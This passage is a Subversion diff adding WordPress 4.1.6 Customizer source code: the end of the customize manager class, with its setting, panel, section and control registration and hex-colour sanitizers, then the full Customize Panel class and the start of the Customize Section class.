+	 * @access public
+	 */
+	public function customize_preview_override_404_status() {
+		if ( is_404() ) {
+			status_header( 200 );
+		}
+	}
+
+	/**
+	 * Print base element for preview frame.
+	 *
+	 * @since 3.4.0
+	 */
+	public function customize_preview_base() {
+		?><base href="<?php echo home_url( '/' ); ?>" /><?php
+	}
+
+	/**
+	 * Print a workaround to handle HTML5 tags in IE < 9
+	 *
+	 * @since 3.4.0
+	 */
+	public function customize_preview_html5() { ?>
+		<!--[if lt IE 9]>
+		<script type="text/javascript">
+			var e = [ 'abbr', 'article', 'aside', 'audio', 'canvas', 'datalist', 'details',
+				'figure', 'footer', 'header', 'hgroup', 'mark', 'menu', 'meter', 'nav',
+				'output', 'progress', 'section', 'time', 'video' ];
+			for ( var i = 0; i < e.length; i++ ) {
+				document.createElement( e[i] );
+			}
+		</script>
+		<![endif]--><?php
+	}
+
+	/**
+	 * Print JavaScript settings for preview frame.
+	 *
+	 * @since 3.4.0
+	 */
+	public function customize_preview_settings() {
+		$settings = array(
+			'values'  => array(),
+			'channel' => wp_unslash( $_POST['customize_messenger_channel'] ),
+			'activePanels' => array(),
+			'activeSections' => array(),
+			'activeControls' => array(),
+		);
+
+		if ( 2 == $this->nonce_tick ) {
+			$settings['nonce'] = array(
+				'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ),
+				'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() )
+			);
+		}
+
+		foreach ( $this->settings as $id => $setting ) {
+			$settings['values'][ $id ] = $setting->js_value();
+		}
+		foreach ( $this->panels as $id => $panel ) {
+			$settings['activePanels'][ $id ] = $panel->active();
+			foreach ( $panel->sections as $id => $section ) {
+				$settings['activeSections'][ $id ] = $section->active();
+			}
+		}
+		foreach ( $this->sections as $id => $section ) {
+			$settings['activeSections'][ $id ] = $section->active();
+		}
+		foreach ( $this->controls as $id => $control ) {
+			$settings['activeControls'][ $id ] = $control->active();
+		}
+
+		?>
+		<script type="text/javascript">
+			var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>;
+		</script>
+		<?php
+	}
+
+	/**
+	 * Prints a signature so we can ensure the Customizer was properly executed.
+	 *
+	 * @since 3.4.0
+	 */
+	public function customize_preview_signature() {
+		echo 'WP_CUSTOMIZER_SIGNATURE';
+	}
+
+	/**
+	 * Removes the signature in case we experience a case where the Customizer was not properly executed.
+	 *
+	 * @since 3.4.0
+	 */
+	public function remove_preview_signature( $return = null ) {
+		remove_action( 'shutdown', array( $this, 'customize_preview_signature' ), 1000 );
+
+		return $return;
+	}
+
+	/**
+	 * Is it a theme preview?
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool True if it's a preview, false if not.
+	 */
+	public function is_preview() {
+		return (bool) $this->previewing;
+	}
+
+	/**
+	 * Retrieve the template name of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Template name.
+	 */
+	public function get_template() {
+		return $this->theme()->get_template();
+	}
+
+	/**
+	 * Retrieve the stylesheet name of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Stylesheet name.
+	 */
+	public function get_stylesheet() {
+		return $this->theme()->get_stylesheet();
+	}
+
+	/**
+	 * Retrieve the template root of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Theme root.
+	 */
+	public function get_template_root() {
+		return get_raw_theme_root( $this->get_template(), true );
+	}
+
+	/**
+	 * Retrieve the stylesheet root of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Theme root.
+	 */
+	public function get_stylesheet_root() {
+		return get_raw_theme_root( $this->get_stylesheet(), true );
+	}
+
+	/**
+	 * Filter the current theme and return the name of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $current_theme {@internal Parameter is not used}
+	 * @return string Theme name.
+	 */
+	public function current_theme( $current_theme ) {
+		return $this->theme()->display('Name');
+	}
+
+	/**
+	 * Switch the theme and trigger the save() method on each setting.
+	 *
+	 * @since 3.4.0
+	 */
+	public function save() {
+		if ( ! $this->is_preview() )
+			die;
+
+		check_ajax_referer( 'save-customize_' . $this->get_stylesheet(), 'nonce' );
+
+		// Do we have to switch themes?
+		if ( ! $this->is_theme_active() ) {
+			// Temporarily stop previewing the theme to allow switch_themes()
+			// to operate properly.
+			$this->stop_previewing_theme();
+			switch_theme( $this->get_stylesheet() );
+			update_option( 'theme_switched_via_customizer', true );
+			$this->start_previewing_theme();
+		}
+
+		/**
+		 * Fires once the theme has switched in the Customizer, but before settings
+		 * have been saved.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_save', $this );
+
+		foreach ( $this->settings as $setting ) {
+			$setting->save();
+		}
+
+		/**
+		 * Fires after Customize settings have been saved.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_save_after', $this );
+
+		die;
+	}
+
+	/**
+	 * Add a customize setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Setting|string $id Customize Setting object, or ID.
+	 * @param array $args                     Setting arguments; passed to WP_Customize_Setting
+	 *                                        constructor.
+	 */
+	public function add_setting( $id, $args = array() ) {
+		if ( is_a( $id, 'WP_Customize_Setting' ) )
+			$setting = $id;
+		else
+			$setting = new WP_Customize_Setting( $this, $id, $args );
+
+		$this->settings[ $setting->id ] = $setting;
+	}
+
+	/**
+	 * Retrieve a customize setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Customize Setting ID.
+	 * @return WP_Customize_Setting
+	 */
+	public function get_setting( $id ) {
+		if ( isset( $this->settings[ $id ] ) )
+			return $this->settings[ $id ];
+	}
+
+	/**
+	 * Remove a customize setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Customize Setting ID.
+	 */
+	public function remove_setting( $id ) {
+		unset( $this->settings[ $id ] );
+	}
+
+	/**
+	 * Add a customize panel.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param WP_Customize_Panel|string $id   Customize Panel object, or Panel ID.
+	 * @param array                     $args Optional. Panel arguments. Default empty array.
+	 */
+	public function add_panel( $id, $args = array() ) {
+		if ( is_a( $id, 'WP_Customize_Panel' ) ) {
+			$panel = $id;
+		}
+		else {
+			$panel = new WP_Customize_Panel( $this, $id, $args );
+		}
+
+		$this->panels[ $panel->id ] = $panel;
+	}
+
+	/**
+	 * Retrieve a customize panel.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $id Panel ID to get.
+	 * @return WP_Customize_Panel Requested panel instance.
+	 */
+	public function get_panel( $id ) {
+		if ( isset( $this->panels[ $id ] ) ) {
+			return $this->panels[ $id ];
+		}
+	}
+
+	/**
+	 * Remove a customize panel.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $id Panel ID to remove.
+	 */
+	public function remove_panel( $id ) {
+		unset( $this->panels[ $id ] );
+	}
+
+	/**
+	 * Add a customize section.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Section|string $id   Customize Section object, or Section ID.
+	 * @param array                       $args Section arguments.
+	 */
+	public function add_section( $id, $args = array() ) {
+		if ( is_a( $id, 'WP_Customize_Section' ) )
+			$section = $id;
+		else
+			$section = new WP_Customize_Section( $this, $id, $args );
+
+		$this->sections[ $section->id ] = $section;
+	}
+
+	/**
+	 * Retrieve a customize section.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Section ID.
+	 * @return WP_Customize_Section
+	 */
+	public function get_section( $id ) {
+		if ( isset( $this->sections[ $id ] ) )
+			return $this->sections[ $id ];
+	}
+
+	/**
+	 * Remove a customize section.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Section ID.
+	 */
+	public function remove_section( $id ) {
+		unset( $this->sections[ $id ] );
+	}
+
+	/**
+	 * Add a customize control.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Control|string $id   Customize Control object, or ID.
+	 * @param array                       $args Control arguments; passed to WP_Customize_Control
+	 *                                          constructor.
+	 */
+	public function add_control( $id, $args = array() ) {
+		if ( is_a( $id, 'WP_Customize_Control' ) )
+			$control = $id;
+		else
+			$control = new WP_Customize_Control( $this, $id, $args );
+
+		$this->controls[ $control->id ] = $control;
+	}
+
+	/**
+	 * Retrieve a customize control.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id ID of the control.
+	 * @return WP_Customize_Control $control The control object.
+	 */
+	public function get_control( $id ) {
+		if ( isset( $this->controls[ $id ] ) )
+			return $this->controls[ $id ];
+	}
+
+	/**
+	 * Remove a customize control.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id ID of the control.
+	 */
+	public function remove_control( $id ) {
+		unset( $this->controls[ $id ] );
+	}
+
+	/**
+	 * Register a customize control type.
+	 *
+	 * Registered types are eligible to be rendered via JS and created dynamically.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @param string $control Name of a custom control which is a subclass of
+	 *                        {@see WP_Customize_Control}.
+	 */
+	public function register_control_type( $control ) {
+		$this->registered_control_types[] = $control;
+	}
+
+	/**
+	 * Render JS templates for all registered control types.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 */
+	public function render_control_templates() {
+		foreach ( $this->registered_control_types as $control_type ) {
+			$control = new $control_type( $this, 'temp', array() );
+			$control->print_template();
+		}
+	}
+
+	/**
+	 * Helper function to compare two objects by priority, ensuring sort stability via instance_number.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param {WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control} $a Object A.
+	 * @param {WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control} $b Object B.
+	 * @return int
+	 */
+	protected final function _cmp_priority( $a, $b ) {
+		if ( $a->priority === $b->priority ) {
+			return $a->instance_number - $a->instance_number;
+		} else {
+			return $a->priority - $b->priority;
+		}
+	}
+
+	/**
+	 * Prepare panels, sections, and controls.
+	 *
+	 * For each, check if required related components exist,
+	 * whether the user has the necessary capabilities,
+	 * and sort by priority.
+	 *
+	 * @since 3.4.0
+	 */
+	public function prepare_controls() {
+
+		$controls = array();
+		uasort( $this->controls, array( $this, '_cmp_priority' ) );
+
+		foreach ( $this->controls as $id => $control ) {
+			if ( ! isset( $this->sections[ $control->section ] ) || ! $control->check_capabilities() ) {
+				continue;
+			}
+
+			$this->sections[ $control->section ]->controls[] = $control;
+			$controls[ $id ] = $control;
+		}
+		$this->controls = $controls;
+
+		// Prepare sections.
+		uasort( $this->sections, array( $this, '_cmp_priority' ) );
+		$sections = array();
+
+		foreach ( $this->sections as $section ) {
+			if ( ! $section->check_capabilities() || ! $section->controls ) {
+				continue;
+			}
+
+			usort( $section->controls, array( $this, '_cmp_priority' ) );
+
+			if ( ! $section->panel ) {
+				// Top-level section.
+				$sections[ $section->id ] = $section;
+			} else {
+				// This section belongs to a panel.
+				if ( isset( $this->panels [ $section->panel ] ) ) {
+					$this->panels[ $section->panel ]->sections[ $section->id ] = $section;
+				}
+			}
+		}
+		$this->sections = $sections;
+
+		// Prepare panels.
+		uasort( $this->panels, array( $this, '_cmp_priority' ) );
+		$panels = array();
+
+		foreach ( $this->panels as $panel ) {
+			if ( ! $panel->check_capabilities() || ! $panel->sections ) {
+				continue;
+			}
+
+			uasort( $panel->sections, array( $this, '_cmp_priority' ) );
+			$panels[ $panel->id ] = $panel;
+		}
+		$this->panels = $panels;
+
+		// Sort panels and top-level sections together.
+		$this->containers = array_merge( $this->panels, $this->sections );
+		uasort( $this->containers, array( $this, '_cmp_priority' ) );
+	}
+
+	/**
+	 * Enqueue scripts for customize controls.
+	 *
+	 * @since 3.4.0
+	 */
+	public function enqueue_control_scripts() {
+		foreach ( $this->controls as $control ) {
+			$control->enqueue();
+		}
+	}
+
+	/**
+	 * Register some default controls.
+	 *
+	 * @since 3.4.0
+	 */
+	public function register_controls() {
+
+		/* Control Types (custom control classes) */
+		$this->register_control_type( 'WP_Customize_Color_Control' );
+		$this->register_control_type( 'WP_Customize_Upload_Control' );
+		$this->register_control_type( 'WP_Customize_Image_Control' );
+		$this->register_control_type( 'WP_Customize_Background_Image_Control' );
+
+		/* Site Title & Tagline */
+
+		$this->add_section( 'title_tagline', array(
+			'title'    => __( 'Site Title & Tagline' ),
+			'priority' => 20,
+		) );
+
+		$this->add_setting( 'blogname', array(
+			'default'    => get_option( 'blogname' ),
+			'type'       => 'option',
+			'capability' => 'manage_options',
+		) );
+
+		$this->add_control( 'blogname', array(
+			'label'      => __( 'Site Title' ),
+			'section'    => 'title_tagline',
+		) );
+
+		$this->add_setting( 'blogdescription', array(
+			'default'    => get_option( 'blogdescription' ),
+			'type'       => 'option',
+			'capability' => 'manage_options',
+		) );
+
+		$this->add_control( 'blogdescription', array(
+			'label'      => __( 'Tagline' ),
+			'section'    => 'title_tagline',
+		) );
+
+		/* Colors */
+
+		$this->add_section( 'colors', array(
+			'title'          => __( 'Colors' ),
+			'priority'       => 40,
+		) );
+
+		$this->add_setting( 'header_textcolor', array(
+			'theme_supports' => array( 'custom-header', 'header-text' ),
+			'default'        => get_theme_support( 'custom-header', 'default-text-color' ),
+
+			'sanitize_callback'    => array( $this, '_sanitize_header_textcolor' ),
+			'sanitize_js_callback' => 'maybe_hash_hex_color',
+		) );
+
+		// Input type: checkbox
+		// With custom value
+		$this->add_control( 'display_header_text', array(
+			'settings' => 'header_textcolor',
+			'label'    => __( 'Display Header Text' ),
+			'section'  => 'title_tagline',
+			'type'     => 'checkbox',
+		) );
+
+		$this->add_control( new WP_Customize_Color_Control( $this, 'header_textcolor', array(
+			'label'   => __( 'Header Text Color' ),
+			'section' => 'colors',
+		) ) );
+
+		// Input type: Color
+		// With sanitize_callback
+		$this->add_setting( 'background_color', array(
+			'default'        => get_theme_support( 'custom-background', 'default-color' ),
+			'theme_supports' => 'custom-background',
+
+			'sanitize_callback'    => 'sanitize_hex_color_no_hash',
+			'sanitize_js_callback' => 'maybe_hash_hex_color',
+		) );
+
+		$this->add_control( new WP_Customize_Color_Control( $this, 'background_color', array(
+			'label'   => __( 'Background Color' ),
+			'section' => 'colors',
+		) ) );
+
+
+		/* Custom Header */
+
+		$this->add_section( 'header_image', array(
+			'title'          => __( 'Header Image' ),
+			'theme_supports' => 'custom-header',
+			'priority'       => 60,
+		) );
+
+		$this->add_setting( new WP_Customize_Filter_Setting( $this, 'header_image', array(
+			'default'        => get_theme_support( 'custom-header', 'default-image' ),
+			'theme_supports' => 'custom-header',
+		) ) );
+
+		$this->add_setting( new WP_Customize_Header_Image_Setting( $this, 'header_image_data', array(
+			// 'default'        => get_theme_support( 'custom-header', 'default-image' ),
+			'theme_supports' => 'custom-header',
+		) ) );
+
+		$this->add_control( new WP_Customize_Header_Image_Control( $this ) );
+
+		/* Custom Background */
+
+		$this->add_section( 'background_image', array(
+			'title'          => __( 'Background Image' ),
+			'theme_supports' => 'custom-background',
+			'priority'       => 80,
+		) );
+
+		$this->add_setting( 'background_image', array(
+			'default'        => get_theme_support( 'custom-background', 'default-image' ),
+			'theme_supports' => 'custom-background',
+		) );
+
+		$this->add_setting( new WP_Customize_Background_Image_Setting( $this, 'background_image_thumb', array(
+			'theme_supports' => 'custom-background',
+		) ) );
+
+		$this->add_control( new WP_Customize_Background_Image_Control( $this ) );
+
+		$this->add_setting( 'background_repeat', array(
+			'default'        => get_theme_support( 'custom-background', 'default-repeat' ),
+			'theme_supports' => 'custom-background',
+		) );
+
+		$this->add_control( 'background_repeat', array(
+			'label'      => __( 'Background Repeat' ),
+			'section'    => 'background_image',
+			'type'       => 'radio',
+			'choices'    => array(
+				'no-repeat'  => __('No Repeat'),
+				'repeat'     => __('Tile'),
+				'repeat-x'   => __('Tile Horizontally'),
+				'repeat-y'   => __('Tile Vertically'),
+			),
+		) );
+
+		$this->add_setting( 'background_position_x', array(
+			'default'        => get_theme_support( 'custom-background', 'default-position-x' ),
+			'theme_supports' => 'custom-background',
+		) );
+
+		$this->add_control( 'background_position_x', array(
+			'label'      => __( 'Background Position' ),
+			'section'    => 'background_image',
+			'type'       => 'radio',
+			'choices'    => array(
+				'left'       => __('Left'),
+				'center'     => __('Center'),
+				'right'      => __('Right'),
+			),
+		) );
+
+		$this->add_setting( 'background_attachment', array(
+			'default'        => get_theme_support( 'custom-background', 'default-attachment' ),
+			'theme_supports' => 'custom-background',
+		) );
+
+		$this->add_control( 'background_attachment', array(
+			'label'      => __( 'Background Attachment' ),
+			'section'    => 'background_image',
+			'type'       => 'radio',
+			'choices'    => array(
+				'scroll'     => __('Scroll'),
+				'fixed'      => __('Fixed'),
+			),
+		) );
+
+		// If the theme is using the default background callback, we can update
+		// the background CSS using postMessage.
+		if ( get_theme_support( 'custom-background', 'wp-head-callback' ) === '_custom_background_cb' ) {
+			foreach ( array( 'color', 'image', 'position_x', 'repeat', 'attachment' ) as $prop ) {
+				$this->get_setting( 'background_' . $prop )->transport = 'postMessage';
+			}
+		}
+
+		/* Nav Menus */
+
+		$locations      = get_registered_nav_menus();
+		$menus          = wp_get_nav_menus();
+		$num_locations  = count( array_keys( $locations ) );
+
+		$this->add_section( 'nav', array(
+			'title'          => __( 'Navigation' ),
+			'theme_supports' => 'menus',
+			'priority'       => 100,
+			'description'    => sprintf( _n('Your theme supports %s menu. Select which menu you would like to use.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . "\n\n" . __('You can edit your menu content on the Menus screen in the Appearance section.'),
+		) );
+
+		if ( $menus ) {
+			$choices = array( 0 => __( '&mdash; Select &mdash;' ) );
+			foreach ( $menus as $menu ) {
+				$choices[ $menu->term_id ] = wp_html_excerpt( $menu->name, 40, '&hellip;' );
+			}
+
+			foreach ( $locations as $location => $description ) {
+				$menu_setting_id = "nav_menu_locations[{$location}]";
+
+				$this->add_setting( $menu_setting_id, array(
+					'sanitize_callback' => 'absint',
+					'theme_supports'    => 'menus',
+				) );
+
+				$this->add_control( $menu_setting_id, array(
+					'label'   => $description,
+					'section' => 'nav',
+					'type'    => 'select',
+					'choices' => $choices,
+				) );
+			}
+		}
+
+		/* Static Front Page */
+		// #WP19627
+
+		$this->add_section( 'static_front_page', array(
+			'title'          => __( 'Static Front Page' ),
+		//	'theme_supports' => 'static-front-page',
+			'priority'       => 120,
+			'description'    => __( 'Your theme supports a static front page.' ),
+		) );
+
+		$this->add_setting( 'show_on_front', array(
+			'default'        => get_option( 'show_on_front' ),
+			'capability'     => 'manage_options',
+			'type'           => 'option',
+		//	'theme_supports' => 'static-front-page',
+		) );
+
+		$this->add_control( 'show_on_front', array(
+			'label'   => __( 'Front page displays' ),
+			'section' => 'static_front_page',
+			'type'    => 'radio',
+			'choices' => array(
+				'posts' => __( 'Your latest posts' ),
+				'page'  => __( 'A static page' ),
+			),
+		) );
+
+		$this->add_setting( 'page_on_front', array(
+			'type'       => 'option',
+			'capability' => 'manage_options',
+		//	'theme_supports' => 'static-front-page',
+		) );
+
+		$this->add_control( 'page_on_front', array(
+			'label'      => __( 'Front page' ),
+			'section'    => 'static_front_page',
+			'type'       => 'dropdown-pages',
+		) );
+
+		$this->add_setting( 'page_for_posts', array(
+			'type'           => 'option',
+			'capability'     => 'manage_options',
+		//	'theme_supports' => 'static-front-page',
+		) );
+
+		$this->add_control( 'page_for_posts', array(
+			'label'      => __( 'Posts page' ),
+			'section'    => 'static_front_page',
+			'type'       => 'dropdown-pages',
+		) );
+	}
+
+	/**
+	 * Callback for validating the header_textcolor value.
+	 *
+	 * Accepts 'blank', and otherwise uses sanitize_hex_color_no_hash().
+	 * Returns default text color if hex color is empty.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $color
+	 * @return string
+	 */
+	public function _sanitize_header_textcolor( $color ) {
+		if ( 'blank' === $color )
+			return 'blank';
+
+		$color = sanitize_hex_color_no_hash( $color );
+		if ( empty( $color ) )
+			$color = get_theme_support( 'custom-header', 'default-text-color' );
+
+		return $color;
+	}
+}
+
+/**
+ * Sanitizes a hex color.
+ *
+ * Returns either '', a 3 or 6 digit hex color (with #), or null.
+ * For sanitizing values without a #, see sanitize_hex_color_no_hash().
+ *
+ * @since 3.4.0
+ *
+ * @param string $color
+ * @return string|null
+ */
+function sanitize_hex_color( $color ) {
+	if ( '' === $color )
+		return '';
+
+	// 3 or 6 hex digits, or the empty string.
+	if ( preg_match('|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) )
+		return $color;
+
+	return null;
+}
+
+/**
+ * Sanitizes a hex color without a hash. Use sanitize_hex_color() when possible.
+ *
+ * Saving hex colors without a hash puts the burden of adding the hash on the
+ * UI, which makes it difficult to use or upgrade to other color types such as
+ * rgba, hsl, rgb, and html color names.
+ *
+ * Returns either '', a 3 or 6 digit hex color (without a #), or null.
+ *
+ * @since 3.4.0
+ *
+ * @param string $color
+ * @return string|null
+ */
+function sanitize_hex_color_no_hash( $color ) {
+	$color = ltrim( $color, '#' );
+
+	if ( '' === $color )
+		return '';
+
+	return sanitize_hex_color( '#' . $color ) ? $color : null;
+}
+
+/**
+ * Ensures that any hex color is properly hashed.
+ * Otherwise, returns value untouched.
+ *
+ * This method should only be necessary if using sanitize_hex_color_no_hash().
+ *
+ * @since 3.4.0
+ *
+ * @param string $color
+ * @return string
+ */
+function maybe_hash_hex_color( $color ) {
+	if ( $unhashed = sanitize_hex_color_no_hash( $color ) )
+		return '#' . $unhashed;
+
+	return $color;
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-customize-panel.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-customize-panel.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-customize-panel.php	(revision 33402)
@@ -0,0 +1,327 @@
+<?php
+/**
+ * Customize Panel Class.
+ *
+ * A UI container for sections, managed by the WP_Customize_Manager.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.0.0
+ */
+class WP_Customize_Panel {
+
+	/**
+	 * Incremented with each new class instantiation, then stored in $instance_number.
+	 *
+	 * Used when sorting two instances whose priorities are equal.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 * @var int
+	 */
+	protected static $instance_count = 0;
+
+	/**
+	 * Order in which this instance was created in relation to other instances.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var int
+	 */
+	public $instance_number;
+
+	/**
+	 * WP_Customize_Manager instance.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Unique identifier.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * Priority of the panel, defining the display order of panels and sections.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var integer
+	 */
+	public $priority = 160;
+
+	/**
+	 * Capability required for the panel.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $capability = 'edit_theme_options';
+
+	/**
+	 * Theme feature support for the panel.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var string|array
+	 */
+	public $theme_supports = '';
+
+	/**
+	 * Title of the panel to show in UI.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $title = '';
+
+	/**
+	 * Description to show in the UI.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * Customizer sections for this panel.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $sections;
+
+	/**
+	 * Type of this panel.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $type = 'default';
+
+	/**
+	 * Active callback.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @see WP_Customize_Section::active()
+	 *
+	 * @var callable Callback is called with one argument, the instance of
+	 *               {@see WP_Customize_Section}, and returns bool to indicate
+	 *               whether the section is active (such as it relates to the URL
+	 *               currently being previewed).
+	 */
+	public $active_callback = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      An specific ID for the panel.
+	 * @param array                $args    Panel arguments.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+		if ( empty( $this->active_callback ) ) {
+			$this->active_callback = array( $this, 'active_callback' );
+		}
+		self::$instance_count += 1;
+		$this->instance_number = self::$instance_count;
+
+		$this->sections = array(); // Users cannot customize the $sections array.
+
+		return $this;
+	}
+
+	/**
+	 * Check whether panel is active to current Customizer preview.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @return bool Whether the panel is active to the current preview.
+	 */
+	public final function active() {
+		$panel = $this;
+		$active = call_user_func( $this->active_callback, $this );
+
+		/**
+		 * Filter response of WP_Customize_Panel::active().
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param bool               $active  Whether the Customizer panel is active.
+		 * @param WP_Customize_Panel $panel   {@see WP_Customize_Panel} instance.
+		 */
+		$active = apply_filters( 'customize_panel_active', $active, $panel );
+
+		return $active;
+	}
+
+	/**
+	 * Default callback used when invoking {@see WP_Customize_Panel::active()}.
+	 *
+	 * Subclasses can override this with their specific logic, or they may
+	 * provide an 'active_callback' argument to the constructor.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @return bool Always true.
+	 */
+	public function active_callback() {
+		return true;
+	}
+
+	/**
+	 * Gather the parameters passed to client JavaScript via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array The array to be exported to the client as JSON.
+	 */
+	public function json() {
+		$array = wp_array_slice_assoc( (array) $this, array( 'title', 'description', 'priority', 'type' ) );
+		$array['content'] = $this->get_content();
+		$array['active'] = $this->active();
+		$array['instanceNumber'] = $this->instance_number;
+		return $array;
+	}
+
+	/**
+	 * Checks required user capabilities and whether the theme has the
+	 * feature support required by the panel.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return bool False if theme doesn't support the panel or the user doesn't have the capability.
+	 */
+	public final function check_capabilities() {
+		if ( $this->capability && ! call_user_func_array( 'current_user_can', (array) $this->capability ) ) {
+			return false;
+		}
+
+		if ( $this->theme_supports && ! call_user_func_array( 'current_theme_supports', (array) $this->theme_supports ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the panel's content template for insertion into the Customizer pane.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return string Content for the panel.
+	 */
+	public final function get_content() {
+		ob_start();
+		$this->maybe_render();
+		$template = trim( ob_get_contents() );
+		ob_end_clean();
+		return $template;
+	}
+
+	/**
+	 * Check capabilities and render the panel.
+	 *
+	 * @since 4.0.0
+	 */
+	public final function maybe_render() {
+		if ( ! $this->check_capabilities() ) {
+			return;
+		}
+
+		/**
+		 * Fires before rendering a Customizer panel.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param WP_Customize_Panel $this WP_Customize_Panel instance.
+		 */
+		do_action( 'customize_render_panel', $this );
+
+		/**
+		 * Fires before rendering a specific Customizer panel.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to
+		 * the ID of the specific Customizer panel to be rendered.
+		 *
+		 * @since 4.0.0
+		 */
+		do_action( "customize_render_panel_{$this->id}" );
+
+		$this->render();
+	}
+
+	/**
+	 * Render the panel container, and then its contents.
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 */
+	protected function render() {
+		$classes = 'accordion-section control-section control-panel control-panel-' . $this->type;
+		?>
+		<li id="accordion-panel-<?php echo esc_attr( $this->id ); ?>" class="<?php echo esc_attr( $classes ); ?>">
+			<h3 class="accordion-section-title" tabindex="0">
+				<?php echo esc_html( $this->title ); ?>
+				<span class="screen-reader-text"><?php _e( 'Press return or enter to open this panel' ); ?></span>
+			</h3>
+			<ul class="accordion-sub-container control-panel-content">
+				<?php $this->render_content(); ?>
+			</ul>
+		</li>
+		<?php
+	}
+
+	/**
+	 * Render the sections that have been added to the panel.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 */
+	protected function render_content() {
+		?>
+		<li class="panel-meta accordion-section control-section<?php if ( empty( $this->description ) ) { echo ' cannot-expand'; } ?>">
+			<div class="accordion-section-title" tabindex="0">
+				<span class="preview-notice"><?php
+					/* translators: %s is the site/panel title in the Customizer */
+					echo sprintf( __( 'You are customizing %s' ), '<strong class="panel-title">' . esc_html( $this->title ) . '</strong>' );
+				?></span>
+			</div>
+			<?php if ( ! empty( $this->description ) ) : ?>
+				<div class="accordion-section-content description">
+					<?php echo $this->description; ?>
+				</div>
+			<?php endif; ?>
+		</li>
+		<?php
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-customize-section.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-customize-section.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-customize-section.php	(revision 33402)
@@ -0,0 +1,370 @@
+<?php
+/**
+ * Customize Section Class.
+ *
+ * A UI container for controls, managed by the WP_Customize_Manager.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Section {
+
+	/**
+	 * Incremented with each new class instantiation, then stored in $instance_number.
+	 *
+	 * Used when sorting two instances whose priorities are equal.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 * @var int
+	 */
+	protected static $instance_count = 0;
+
+	/**
+	 * Order in which this instance was created in relation to other instances.
+	 *
